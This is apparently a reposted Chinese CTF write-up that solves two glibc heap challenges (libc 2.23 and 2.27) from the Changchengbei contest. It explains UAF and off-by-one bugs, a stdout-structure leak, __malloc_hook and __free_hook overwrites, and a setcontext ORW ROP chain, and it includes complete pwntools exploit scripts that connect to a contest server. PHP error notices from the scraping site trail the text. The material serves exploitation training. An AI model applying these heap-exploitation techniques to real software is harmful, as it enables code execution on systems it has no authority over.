从长城杯两道题目看新老libc的利用 | xxx从长城杯两道题目看新老libc的利用 – xxx
菜单

从长城杯两道题目看新老libc的利用

九月 30, 2021 - 安全客

robots

从长城杯两道题目看新老libc的利用

 

长城杯出了三道题目,除了easy_vm之外剩下的两道都是libc题,一个是libc2.23,一个是libc2.27-1.4。正好可以从这两道题目中看一下新老版本的libc的利用方式。

K1ng_in_h3Ap_I

这道题目是一个入门级的题目,libc的版本是2.23

GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.  Copyright (C) 2016 Free Software Foundation, Inc.  This is free software; see the source for copying conditions.  There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A  PARTICULAR PURPOSE.  Compiled by GNU CC version 5.4.0 20160609.  Available extensions:          crypt add-on version 2.1 by Michael Glad and others          GNU Libidn by Simon Josefsson          Native POSIX Threads Library by Ulrich Drepper et al          BIND-8.2.3-T5B  libc ABIs: UNIQUE IFUNC  For bug reporting instructions, please see:  <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.  

我们逆向分析一下这个程序,题目的逻辑很简单,是一个基础的菜单题目,一共有add,delete,edit三种,并且存在一个后门函数也就是输入666的时候触发调用,先来看一下后门函数

return printf("%pn", (const void *)((unsigned __int64)&printf & 0xFFFFFF));  

也就是我们可以直接通过后门函数获取得到libc基地址的低3字节,那么这个有什么用呢,我们接下来在看,继续分析其他的函数

add函数,申请我们输入指定size大小的内存堆块

_DWORD *add()  {    _DWORD *result; // rax    int index; // [rsp+8h] [rbp-8h]    int size; // [rsp+Ch] [rbp-4h]      puts("input index:");    index = readint();    if ( index < 0 || index > 10 )      exit(0);    puts("input size:");    size = readint();    if ( size < 0 || size > 0xF0 )      exit(0);    buf_list[index] = malloc(size);    result = size_list;    size_list[index] = size;    return result;  }  

但是这里size的大小不能超过0xf0。再来看一下delete函数

void sub_C41()  {    int index; // [rsp+Ch] [rbp-4h]      puts("input index:");    index = readint();    if ( index < 0 || index > 10 || !*((_QWORD *)&buf_list + index) || !size_list[index] )      exit(0);    free(*((void **)&buf_list + index));  }  

这里delete函数直接释放了我们在add函数中申请的内存空间,但是这里没有将buf_list和size_list中的相应位置清空,导致存在一个UAF的漏洞,再看一下edit函数

__int64 edit()  {    int index; // [rsp+Ch] [rbp-4h]      puts("input index:");    index = readint();    if ( index < 0 || index > 15 || !buf_list[index] )      exit(0);    puts("input context:");    return do_edit(buf_list[index], (unsigned int)size_list[index]);  }  

edit函数这里调用了一个do_edit函数来进行内容的更改,函数如下

unsigned __int64 __fastcall do_edit(__int64 address, int size)  {    char buf; // [rsp+13h] [rbp-Dh] BYREF    int index; // [rsp+14h] [rbp-Ch]    unsigned __int64 v5; // [rsp+18h] [rbp-8h]      v5 = __readfsqword(0x28u);    index = 0;    do    {      if ( !(unsigned int)read(0, &buf, 1uLL) )        exit(0);      if ( buf == 10 )        break;      *(_BYTE *)(address + index++) = buf;    }    while ( index <= size );    return __readfsqword(0x28u) ^ v5;  }  

这里可以看到存在一个off-by-one漏洞,当index=size的时候还是可以输入一个字节。

那么逆向分析结束之后发现了两个漏洞,一个是UAF漏洞,另一个是off-by-one漏洞,并且这里我们可以获取得到libc基地址的低3字节的内容。由于这里是libc2.23,我们直接考虑fastbin attack,覆写malloc_hook为one_gadget之后直接getshell。但是这里还是存在一个问题就是我们需要泄漏出libc全部的地址。

那么这里就攻击stdoout的结构体来泄漏地址了。我们看一下这个结构体。

type = struct _IO_FILE {      int _flags;      char *_IO_read_ptr;      char *_IO_read_end;      char *_IO_read_base;      char *_IO_write_base;      char *_IO_write_ptr;      char *_IO_write_end;      char *_IO_buf_base;      char *_IO_buf_end;      char *_IO_save_base;      char *_IO_backup_base;      char *_IO_save_end;      struct _IO_marker *_markers;      struct _IO_FILE *_chain;      int _fileno;      int _flags2;      __off_t _old_offset;      unsigned short _cur_column;      signed char _vtable_offset;      char _shortbuf[1];      _IO_lock_t *_lock;      __off64_t _offset;      struct _IO_codecvt *_codecvt;      struct _IO_wide_data *_wide_data;      struct _IO_FILE *_freeres_list;      void *_freeres_buf;      size_t __pad5;      int _mode;      char _unused2[20];  }  

如果我们可以申请堆块到stdout所在的内存空间,然后发泄write_base的低1字节为0,那么就会有很大的数据输出。问题是怎么申请内存空间到这里呢,别忘了前面有我们的UAF,我们可以通过UAF和fastbin做到一个任意地址分配,当然这个地址需要满足size的检查,这里我们恰好在stdout结构体的上方发现了一个位置

pwndbg> x/20gx 0x7ffff7dd2620-0x40  0x7ffff7dd25e0 <_IO_2_1_stderr_+160>:   0x00007ffff7dd1660      0x0000000000000000  0x7ffff7dd25f0 <_IO_2_1_stderr_+176>:   0x0000000000000000      0x0000000000000000  0x7ffff7dd2600 <_IO_2_1_stderr_+192>:   0x0000000000000000      0x0000000000000000  0x7ffff7dd2610 <_IO_2_1_stderr_+208>:   0x0000000000000000      0x0000000000000000  0x7ffff7dd2620 <_IO_2_1_stdout_>:       0x00000000fbad3887      0x00007ffff7dd26a3  0x7ffff7dd2630 <_IO_2_1_stdout_+16>:    0x00007ffff7dd26a3      0x00007ffff7dd26a3  0x7ffff7dd2640 <_IO_2_1_stdout_+32>:    0x00007ffff7dd26a3      0x00007ffff7dd26a3  0x7ffff7dd2650 <_IO_2_1_stdout_+48>:    0x00007ffff7dd26a3      0x00007ffff7dd26a3  0x7ffff7dd2660 <_IO_2_1_stdout_+64>:    0x00007ffff7dd26a4      0x0000000000000000  0x7ffff7dd2670 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000  pwndbg> x/20gx 0x7ffff7dd2620-0x43  0x7ffff7dd25dd <_IO_2_1_stderr_+157>:   0xfff7dd1660000000      0x000000000000007f  0x7ffff7dd25ed <_IO_2_1_stderr_+173>:   0x0000000000000000      0x0000000000000000  0x7ffff7dd25fd <_IO_2_1_stderr_+189>:   0x0000000000000000      0x0000000000000000  0x7ffff7dd260d <_IO_2_1_stderr_+205>:   0x0000000000000000      0x0000000000000000  0x7ffff7dd261d <_IO_2_1_stderr_+221>:   0x00fbad3887000000      0xfff7dd26a3000000  0x7ffff7dd262d <_IO_2_1_stdout_+13>:    0xfff7dd26a300007f      0xfff7dd26a300007f  0x7ffff7dd263d <_IO_2_1_stdout_+29>:    0xfff7dd26a300007f      0xfff7dd26a300007f  0x7ffff7dd264d <_IO_2_1_stdout_+45>:    0xfff7dd26a300007f      0xfff7dd26a300007f  0x7ffff7dd265d <_IO_2_1_stdout_+61>:    0xfff7dd26a400007f      0x000000000000007f  0x7ffff7dd266d <_IO_2_1_stdout_+77>:    0x0000000000000000      0x0000000000000000  

也就是-0x43的位置中的0x7f恰好可以作为0x70的fastbin堆块。但是我们现在只有低3字节,还需要在堆中提前布局一个libc附近的地址。这里可以直接利用main_arena的地址,利用off-by-one很容易做到堆块合并,进而释放到unsorted bin中,再次申请就能拿到一个libc附近的地址了,覆写该地址的低3字节即可申请到stdout结构体中泄漏出libc的地址

[DEBUG] Received 0xc0 bytes:      00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│      *      00000020  87 38 ad fb  00 00 00 00  00 00 00 00  00 00 00 00  │·8··│····│····│····│      00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│      00000040  00 26 dd f7  ff 7f 00 00  a3 26 dd f7  ff 7f 00 00  │·&··│····│·&··│····│      00000050  a3 26 dd f7  ff 7f 00 00  a3 26 dd f7  ff 7f 00 00  │·&··│····│·&··│····│      00000060  a4 26 dd f7  ff 7f 00 00  00 00 00 00  00 00 00 00  │·&··│····│····│····│      00000070  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│      00000080  00 00 00 00  00 00 00 00  e0 18 dd f7  ff 7f 00 00  │····│····│····│····│      00000090  01 00 00 00  00 00 00 00  ff ff ff ff  ff ff ff ff  │····│····│····│····│      000000a0  00 00 00 31  2e 20 61 64  64 0a 32 2e  20 64 65 6c  │···1│. ad│d·2.│ del│      000000b0  65 74 65 0a  33 2e 20 65  64 69 74 0a  3e 3e 20 0a  │ete·│3. e│dit·│>> ·│      000000c0  

拿到libc的地址之后就很好说了,利用相同的思路分配堆块到malloc_hook的位置,覆写其为one_gadget。但是这里存在一个问题就是one_gadget都不能使用,需要使用realloc进行栈帧的调整,小问题。

# -*- coding: utf-8 -*-  from pwn import *    file_path = "./pwn"  context.arch = "amd64"  elf = ELF(file_path)  debug = 1  if debug:      p = process([file_path])      # gdb.attach(p, "b *$rebase(0xE52)")      libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')      one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]    else:      p = remote('47.104.175.110', 20066)      libc = ELF('./libc.so.6')      one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]    def add(index, size):      p.sendlineafter(">> n", "1")      p.sendlineafter("input index:n", str(index))      p.sendlineafter("input size:n", str(size))    def delete(index):      p.sendlineafter(">> n", "2")      p.sendlineafter("input index:n", str(index))    def edit(index, content):      p.sendlineafter(">> n", "3")      p.sendlineafter("input index:n", str(index))      p.sendafter("input context:n", content)    def show():      p.sendlineafter(">> n", "666")    ori_io = libc.sym['_IO_2_1_stdout_']  show()  libc.address = int(p.recvline().strip(), 16) - libc.sym['printf']    add(0, 0x68)  add(1, 0x68)  add(2, 0x68)  add(3, 0x68)  payload = b"a"*0x68 + b"xe1"  delete(1)  edit(0, payload)  delete(1)    add(6, 0x3)  payload = b"a"*0x68 + b"x71"  edit(0, payload)  payload = p32(libc.sym['_IO_2_1_stdout_'] - 0x43)[:3] + b"n"  edit(6, payload)  add(4, 0x68)  add(5, 0x68)  payload = b"x00"*3 + p64(0)*6 + p64(0x00000000fbad2887 | 0x1000) + p64(0)*3 + b"x00" + b"n"  edit(5, payload)  p.recvuntil(p64(0x00000000fbad2887 | 0x1000))  p.recv(0x18)  libc.address = u64(p.recv(8)) + 0x20 - ori_io    delete(4)  payload = p64(libc.sym['__malloc_hook'] - 0x23) + b"n"  edit(1, payload)  add(7, 0x68)  add(8, 0x68)  payload = b"x00"*3 + p64(0)*1 + p64(one_gadget[1] + libc.address) + p64(libc.sym['realloc'] + 8) + b"n"  edit(8, payload)  add(9, 0x68)    p.interactive()  

 

K1ng_in_h3Ap_II

这个题目就是在I的基础上进行修改的,这里我们发现libc变成了2.27

GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.  Copyright (C) 2018 Free Software Foundation, Inc.  This is free software; see the source for copying conditions.  There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A  PARTICULAR PURPOSE.  Compiled by GNU CC version 7.5.0.  libc ABIs: UNIQUE IFUNC  For bug reporting instructions, please see:  <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.  

在1.4中加入了对tcache的double free检查,我们先分析一下程序,这里在一开始加入了沙箱,我们不能直接getshell了

line  CODE  JT   JF      K  =================================   0000: 0x20 0x00 0x00 0x00000004  A = arch   0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007   0002: 0x20 0x00 0x00 0x00000000  A = sys_number   0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005   0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007   0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007   0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW   0007: 0x06 0x00 0x00 0x00000000  return KILL  

同样逻辑很简单,是一个菜单题目,共有add,delete,edit,show四个选项,首先看一下add函数

_DWORD *add()  {    _DWORD *result; // rax    int index; // [rsp+8h] [rbp-8h]    int v2; // [rsp+Ch] [rbp-4h]      puts("input index:");    index = readint();    if ( index < 0 || index > 15 )      exit(0);    puts("input size:");    v2 = readint();    if ( v2 <= 15 || v2 > 0x60 )      exit(0);    buf_list[index] = malloc(v2);    result = size_list;    size_list[index] = v2;    return result;  }  

这里对堆块的大小进行了限制,堆块的大小不能超过0x60个字节。但是其实这里没啥影响,因为这里是用的tcache,tcache从来不检查size。接着看一下delete函数

void delete()  {    int v0; // [rsp+Ch] [rbp-4h]      puts("input index:");    v0 = readint();    if ( v0 < 0 || v0 > 15 || !buf_list[v0] )      exit(0);    free((void *)buf_list[v0]);  }  

这里还是老问题,在释放的时候没有对buf_list进行清空,因此这里存在UAF的漏洞。然后看一下edit函数

ssize_t edit()  {    int v1; // [rsp+Ch] [rbp-4h]      puts("input index:");    v1 = readint();    if ( v1 < 0 || v1 > 15 || !buf_list[v1] )      exit(0);    puts("input context:");    return read(0, (void *)buf_list[v1], (int)size_list[v1]);  }  

edit函数,这里直接用了read进行内容的修改,没有了之前的off-by-one漏洞。然后是show函数直接puts输出了堆块中的内容。

那么现在是tcache 1.4中存在一个UAF的漏洞,那么这里我们首先泄漏一下地址,首先堆地址很好泄漏,释放两个堆块,然后show一个堆块就能泄漏出堆地址来了,但是libc的地址怎么泄漏,我们无法申请0x90大小以上的堆块,因此不能直接将堆块释放到unsroted bin链表中。这里用到的一个思路就是sscanf函数在接收大量数据的时候会申请超大的内存堆块,而超大的内存堆块会触发堆空间合并的机制,即将fastbin中的堆块全部弄到bins链表中。

那么这里我们首先在fastbin中留一个堆块,然后触发堆合并,再show这个堆块,那么就能泄漏出libc的地址。

pwndbg> heapinfo  (0x20)     fastbin[0]: 0x555555603790 --> 0x0  (0x30)     fastbin[1]: 0x0  (0x40)     fastbin[2]: 0x0  (0x50)     fastbin[3]: 0x0  (0x60)     fastbin[4]: 0x555555604200 --> 0x0  (0x70)     fastbin[5]: 0x0  (0x80)     fastbin[6]: 0x0  (0x90)     fastbin[7]: 0x0  (0xa0)     fastbin[8]: 0x0  (0xb0)     fastbin[9]: 0x0                    top: 0x5555556042c0 (size : 0x1fd40)         last_remainder: 0x0 (size : 0x0)              unsortbin: 0x0  (0x20)   tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0  (0x50)   tcache_entry[3](1): 0x555555603f20  (0x60)   tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70  (0x70)   tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0  (0x80)   tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50  (0xd0)   tcache_entry[11](1): 0x555555603310  (0xf0)   tcache_entry[13](2): 0x555555603d00 --> 0x555555603670s  

执行p.sendlineafter(">> n", "1"*0x1100) 堆空间如下

pwndbg> heapinfo  (0x20)     fastbin[0]: 0x0  (0x30)     fastbin[1]: 0x0  (0x40)     fastbin[2]: 0x0  (0x50)     fastbin[3]: 0x0  (0x60)     fastbin[4]: 0x0  (0x70)     fastbin[5]: 0x0  (0x80)     fastbin[6]: 0x0  (0x90)     fastbin[7]: 0x0  (0xa0)     fastbin[8]: 0x0  (0xb0)     fastbin[9]: 0x0                    top: 0x5555556042c0 (size : 0x1fd40)         last_remainder: 0x0 (size : 0x0)              unsortbin: 0x0  (0x020)  smallbin[ 0]: 0x555555603790  (0x060)  smallbin[ 4]: 0x555555604200 // 合并的堆块  (0x20)   tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0  (0x50)   tcache_entry[3](1): 0x555555603f20  (0x60)   tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70  (0x70)   tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0  (0x80)   tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50  (0xd0)   tcache_entry[11](1): 0x555555603310  (0xf0)   tcache_entry[13](2): 0x555555603d00 --> 0x555555603670  

触发堆合并之后就能泄漏出地址。泄漏出libc的地址接下来就好说了,我们直接利用UAF申请堆块到free_hook的位置,将其覆写为setcontext+53,进行栈迁移,执行ORW。但是这里存在一个问题就是我们最大能控制的大小为0x60,而ORW的链肯定大于0x60的,因此这里我们需要先执行一个read的rop,从而读取orw继续执行。

# -*- coding: utf-8 -*-  import syslog    from pwn import *    file_path = "./pwn"  context.arch = "amd64"  elf = ELF(file_path)  debug = 1  if debug:      p = process([file_path])      # gdb.attach(p, "b *$rebase(0xE52)")      libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')      one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]    else:      p = remote('47.104.175.110', 20066)      libc = ELF('./libc.so.6')      one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]    def add(index, size):      p.sendlineafter(">> n", "1")      p.sendlineafter("input index:n", str(index))      p.sendlineafter("input size:n", str(size))    def delete(index):      p.sendlineafter(">> n", "2")      p.sendlineafter("input index:n", str(index))    def edit(index, content):      p.sendlineafter(">> n", "3")      p.sendlineafter("input index:n", str(index))      p.sendafter("input context:n", content)    def show(index):      p.sendlineafter(">> n", "4")      p.sendlineafter("input index:n", str(index))    for i in range(9):      add(i, 0x58)    for i in range(8):      delete(i)  show(1)  heap_address = u64(p.recvline().strip().ljust(8, b"x00"))  p.sendlineafter(">> n", "1"*0x1100)  show(7)  libc.address = u64(p.recvline().strip().ljust(8, b"x00")) - 0x10 - libc.sym['__malloc_hook'] - 0xb0  for i in range(7, -1, -1):      add(i, 0x58)  delete(0)  delete(1)  edit(1, p64(libc.sym['__free_hook']))  add(1, 0x58)  add(9, 0x58)  # # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];  # magic = 0x0000000000154930 + libc.address  p_rdi_r = 0x00000000000215bf + libc.address  p_rsi_r = 0x0000000000023eea + libc.address  p_rax_r = 0x0000000000043ae8 + libc.address  p_rdx_r = 0x0000000000001b96 + libc.address  syscall = 0x00000000000d2745 + libc.address  ret = 0x00000000000c0c9d + libc.address    setcontext = libc.sym['setcontext'] + 53  orw_address = heap_address + 0xc0  orw_read_address = orw_address + 0x48  flag_str_address = libc.sym['__free_hook'] + 0x10  flag_address = flag_str_address + 0x10  orw = flat([      p_rdi_r, flag_str_address,      p_rsi_r, 0,      p_rax_r, 2,      syscall,      p_rdi_r, 3,      p_rsi_r, flag_address,      p_rdx_r, 0x30,      p_rax_r, 0,      syscall,      p_rdi_r, 1,      p_rsi_r, flag_address,      p_rdx_r, 0x30,      p_rax_r, 1,      syscall  ])    orw_read = flat([      p_rdi_r, 0,      p_rsi_r, orw_read_address,      p_rdx_r, 0x200,      p_rax_r, 0,      syscall,  ])  edit(9, p64(setcontext) + p64(0) + b"./flag")  payload = b"x00"*0x40 + p64(orw_address) + p64(ret)  edit(2, payload)  edit(3, orw_read)    delete(1)    p.sendline(orw)    p.interactive()  


Notice: Trying to get property of non-object in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 5377

Notice: Use of undefined constant _REFERER_ - assumed '_REFERER_' in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 3397

Notice: Trying to get property of non-object in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 5377

Notice: Trying to get property of non-object in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 5377

Notice: Trying to get property of non-object in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 5377

Notice: Use of undefined constant _REFERER_ - assumed '_REFERER_' in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 3397

Notice: Trying to get property of non-object in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 5377

Notice: Trying to get property of non-object in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 5377